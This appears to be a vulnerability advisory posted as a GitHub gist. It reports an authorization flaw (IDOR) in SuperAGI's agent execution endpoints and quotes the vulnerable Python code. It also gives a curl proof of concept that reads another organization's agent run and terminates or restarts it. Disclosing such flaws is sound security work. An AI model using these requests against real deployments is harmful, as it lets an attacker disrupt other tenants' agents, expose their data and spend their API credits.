Instantly share code, notes, and snippets.

YLChen-007 / **ISSUE-Github-REPORT-AgentExecution-IDOR.md** Secret

Created last month

Code Revisions 1

IDOR in Agent Execution Endpoints Allows Reading and Controlling Any Agents Execution

ISSUE-Github-REPORT-AgentExecution-IDOR.md

Advisory Details

Title: IDOR in Agent Execution Endpoints Allows Reading and Controlling Any Agent's Execution

Description:

Summary

The agent execution endpoints (`GET /agentexecutions/get/{id}` and `PUT /agentexecutions/update/{id}`) allow any authenticated user to read or modify agent execution status belonging to other organizations. The update endpoint can change execution status to "RUNNING" which triggers agent execution, or "TERMINATED" to stop it.

Details

Both endpoints in `superagi/controllers/agent_execution.py` authenticate the user but don't verify org ownership:

```
# superagi/controllers/agent_execution.py, lines 296-319
@router.get("/get/{agent_execution_id}", response_model=AgentExecutionOut)
def get_agent_execution(agent_execution_id: int,
                        Authorize: AuthJWT = Depends(check_auth)):
    if (
        db_agent_execution := db.session.query(AgentExecution)
        .filter(AgentExecution.id == agent_execution_id)
        .first()
    ):
```

```
        return db_agent_execution  # ← Returns ANY execution, no org check
    else:
        raise HTTPException(status_code=404, detail="Agent execution not foun

# superagi/controllers/agent_execution.py, lines 322-356
@router.put("/update/{agent_execution_id}", response_model=AgentExecutionOut)
def update_agent_execution(agent_execution_id: int,
                           agent_execution: AgentExecutionIn,
                           Authorize: AuthJWT = Depends(check_auth)):
    db_agent_execution = db.session.query(AgentExecution).filter(
        AgentExecution.id == agent_execution_id  # ← No org check
    ).first()
    # ...
    db_agent_execution.status = agent_execution.status  # ← Changes status!
    if db_agent_execution.status == "RUNNING":
        execute_agent.delay(db_agent_execution.id, datetime.now())  # ← Trigg
```

PoC

```
JWT="<attacker_jwt_token>"

# Read victim's agent execution details
curl -s -H "Authorization: Bearer $JWT" \
  "http://localhost:3000/api/agentexecutions/get/1"

# Terminate victim's running agent
curl -s -X PUT -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  "http://localhost:3000/api/agentexecutions/update/1" \
  -d '{"status": "TERMINATED"}'

# Or re-trigger a victim's agent execution
curl -s -X PUT -H "Authorization: Bearer $JWT" \
  -H "Content-Type: application/json" \
  "http://localhost:3000/api/agentexecutions/update/1" \
  -d '{"status": "RUNNING"}'
```

Log of Evidence

Endpoint follows verified IDOR pattern — `check_auth` only, no org filter.

Impact

- **Service Disruption**: Attacker terminates victim's running agents.

- **Resource Abuse**: Attacker triggers execution of victim's agents, consuming their LLM API credits.
- **Information Disclosure**: Reading execution details exposes agent configurations and run history.

Affected products

- **Ecosystem**: pip
- **Package name**: SuperAGI
- **Affected versions**: All versions up to and including latest (`main` branch, commit `c3c1982`)
- **Patched versions**:

Severity

- **Severity**: High
- **Vector string**: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:H/A:H

Weaknesses

- **CWE**: CWE-639: Authorization Bypass Through User-Controlled Key

Occurrences

Permalink
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193eL319
https://github.com/TransformerOptimus/SuperAGI/blob/c3c1982e7bd6a11cfed53c5a193eL356